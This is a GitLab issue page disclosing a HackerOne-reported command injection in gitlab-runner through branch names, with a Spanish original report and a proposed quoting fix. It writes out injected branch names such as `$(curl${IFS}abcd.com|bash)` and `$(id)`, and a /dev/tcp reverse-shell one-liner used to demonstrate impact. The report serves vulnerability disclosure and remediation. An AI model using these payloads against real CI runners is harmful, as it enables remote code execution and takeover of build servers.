Skip to content
GitLab
Next
    • GitLab: the DevOps platform
    • Explore GitLab
    • Install GitLab
    • How GitLab compares
    • Get started
    • GitLab docs
    • GitLab Learn
  • Pricing
  • Talk to an expert
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
    Projects Groups Topics Snippets
  • Register
  • Sign in
  • gitlab-runner gitlab-runner
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributor statistics
    • Graph
    • Compare revisions
    • Locked files
  • Issues 3,455
    • Issues 3,455
    • List
    • Boards
    • Service Desk
    • Milestones
    • Iterations
    • Requirements
  • Merge requests 109
    • Merge requests 109
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Schedules
    • Test cases
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Container Registry
  • Monitor
    • Monitor
    • Metrics
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Code review
    • Insights
    • Issue
    • Repository
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • GitLab.orgGitLab.org
  • gitlab-runnergitlab-runner
  • Issues
  • #27386
Closed
Open
Issue created Dec 30, 2020 by GitLab SecurityBot@gitlab-securitybotReporter

Command injection via branch name in CI pipelines.

Status Report (revised: 2022-08-xx)

{placeholder}

HackerOne report #1063511 by stanlyoncm on 2020-12-21, assigned to @dcouture:

Report | Attachments | How To Reproduce

Branch names are interpreted by the shell so you can inject commands. Someone could create a branch named $(curl${IFS}abcd.com|bash) and host a script on that custom domain that would abuse the CI_JOB_TOKEN. You'd need then to get someone to contribute to your MR which borders on social engineering but you could do it by getting someone to Apply Suggestion and hope they don't pay attention to the odd branch name. This is also, and perhaps more importantly, related to the efforts in https://gitlab.com/gitlab-org/gitlab/-/issues/295234

Original report in spanish

Report

==Report in Spanish:==

Summary

Debido a que el nombre de una rama permite algunos caracteres especiales, un atacante (desarrollador) es capaz de ejecutar código a nivel de sistema en un servidor que este ejecutando gilab-runner para las canalizaciones de un proyecto.

El atacante que empuja una rama con nombre $CI_DEFAULT_BRANCH`${c}` , es capaz luego de ejecutar una canalización a través de la interfaz de gitlab.com, estableciendo como valor de “c” un comando a nivel de sistema.

Lo que hace interesante a este ataque es que, no es necesaria la creación o modificación de ningún archivo del proyecto mientras se envía el trabajo a la canalización, por ejemplo .gitlab-ci.yml, lo que indiciaria una posible acción maliciosa por parte de quien envía el trabajo.

El trabajo no dejara rastros de haber ejecutado algún comando en el servidor, ya que, el atacante debe redirigir la salida del comando hacia /dev/null, además, el comando es ejecutado como producto de haber sido concatenado con el nombre de la rama a través de una variable de entorno.

Para la prueba de concepto, realice las pruebas bajo un entorno controlado ejecutando un corredor con un ejecutor “”shell”” y enviando un único trabajo que imprime un mensaje al finalizar. Luego al ejecutar una canalización desde la interfaz web y asignar un comando a nivel de sistema al valor de la variable de entorno “c”, pude obtener una conexión inversa mediante el siguiente comando.

(exec 5<>/dev/tcp/172.17.0.2/4444 && while read line 0<&5;do $line 2>&5 >&5;done &) &>/dev/null  

Cabe destacar que yo he inyectado el comando anterior para demostrar el impacto que tendría esta vulnerabilidad en el servidor victima al ser tomando por un atacante, logrando incluso la persistencia en el sistema aun cuando el trabajo es eliminado o borrado, además he realizado un prueba de concepto en video que adjuntare con el reporte, sin embargo en los pasos para reproducir este problema, usted ejecutara el comando hostname en el sistema.
   

Steps to reproduce

[Preparación]

1) Ingrese a Gitlab.com

2) Cree un proyecto nuevo.

3) Ejecute gitlab-runner en un servidor bajo su control.

4) Registre un corredor para su proyecto (para este informe yo he elegido el ejecutor shell).

5) Cree un archivo valido .gitlab-ci.yml, y registre el corredor para el proyecto.

6) Invite un nuevo miembro con permisos de desarrollador.
   
[Flujo del ataque] (miembro invitado con permisos de desarrollador)

1) Cree una rama con el siguiente nombre $CI_DEFAULT_BRANCH`${c}`

2) Ingrese a https://gitlab.com/<user>/<project>/-/pipelines/new y seleccione la rama $CI_DEFAULT_BRANCH`${c}` para ejecutar una nueva canalización.

3) Cree la variable de nombre c con el valor eval hostname

4) Ejecute la canalización.

Como resultado de esto el trabajo fallara ya que no redirigió la salida del comando al /dev/null o no envió el comando a segundo plano.

Obtendrá el siguiente mensaje al finalizar el trabajo:

fatal: couldn't find remote ref refs/heads/master<hostname>

Obtendrá el resultando del comando junto a la referencia remota master, lo que indica que ha ejecutado un comando el el servidor de la victima.
   

What is the current bug behavior?

  El nombre de la rama permite concatenar un comando a nivel de sistema que será ejecutado al momento de enviar una canalización.
   

What is the expected correct behavior?

Se debe evaluar el nombre de la rama como una cadena de caracteres al momento de ejecutar una canalización.
   

Relevant logs and/or screenshots

En este video de prueba de concepto, se omiten los pasos de [Preparación]

poc.mp4
   

Output of checks

This bug happens on GitLab.com
   

Impact

Se puede ejecutar código arbitrario a nivel de sistema en ejecuciones CI, con tan solo enviar una nueva rama al proyecto y ejecutar una canalización, esto, sin modificar o crear ningún archivo que indique la acción mal intencionada por parte del atacante, debido a esto este ataque puede ser aun mas peligroso si se ejecutan las compilaciones en servidores de confianza ya que, como dije anteriormente no es necesaria la modificación de ningún archivo y además, no se crean registros de logs sobre la salida de algún comando enviado por el atacante.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

  • poc.mp4

How To Reproduce

Please add reproducibility information to this section:

  1. Create branch named $(id)

  2. Setup a pipeline

  3. Observe this in the build output

    Fetching changes with git depth set to 50...
    Initialized empty Git repository in /builds/dcouture/private_project/.git/
    Created fresh repository.
    fatal: invalid refspec '+refs/heads/uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video):refs/remotes/origin/uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)'

Proposal

The problem happens because all command arguments are double-quoted in ShellWriter-derived classes (Windows Batch is a different case that requires a different solution). In this particular scenario, the command in question is constructed in AbstractShell.writeRefspecFetchCmd. As shown by this issue, double-quoting all arguments is an unsafe default. We should:

  1. rename the current Command method in the ShellWriter interface to e.g. CommandWithArgExpansion, and add a new Command method which would write the command in such a way that it would not expand arguments (normally this would be done by single-quoting them instead of double-quoting).
  • in bash and pwsh, this is achieved by quoting arguments with a single-quote instead of double-quote.

    $"git" "-c" "http.userAgent=gitlab-runner development version darwin/amd64" "fetch" "origin" "+8a98ee069bb3146e558891110f0debf16dfe6fa8:refs/pipelines/246990606" "+refs/heads/$(id):refs/remotes/origin/$(id)" "--depth" "50" "--prune" "--quiet"

    becomes

    $'git' '-c' 'http.userAgent=gitlab-runner development version darwin/amd64' 'fetch' 'origin' '+8a98ee069bb3146e558891110f0debf16dfe6fa8:refs/pipelines/246990606' '+refs/heads/$(id):refs/remotes/origin/$(id)' '--depth' '50' '--prune' '--quiet'
  • in cmd, this is achieved by replacing % with %^:

    image

  1. add tests for the new Command implementation in ShellWriter-derived classes to ensure that known expansions are thwarted.
  2. Ideally, we'd review all commands that shouldn't need argument expansion and have them be created with Command instead of CommandWithArgExpansion.

Once this is done, a bash job on a branch called $(id) no longer fails or exposes information:

image

Same thing for a pwsh job on a branch called $(Get-Host):

image

A PoC MR is located here.

Edited Aug 23, 2022 by Darren Eastman
Assignee
Assign to
Time tracking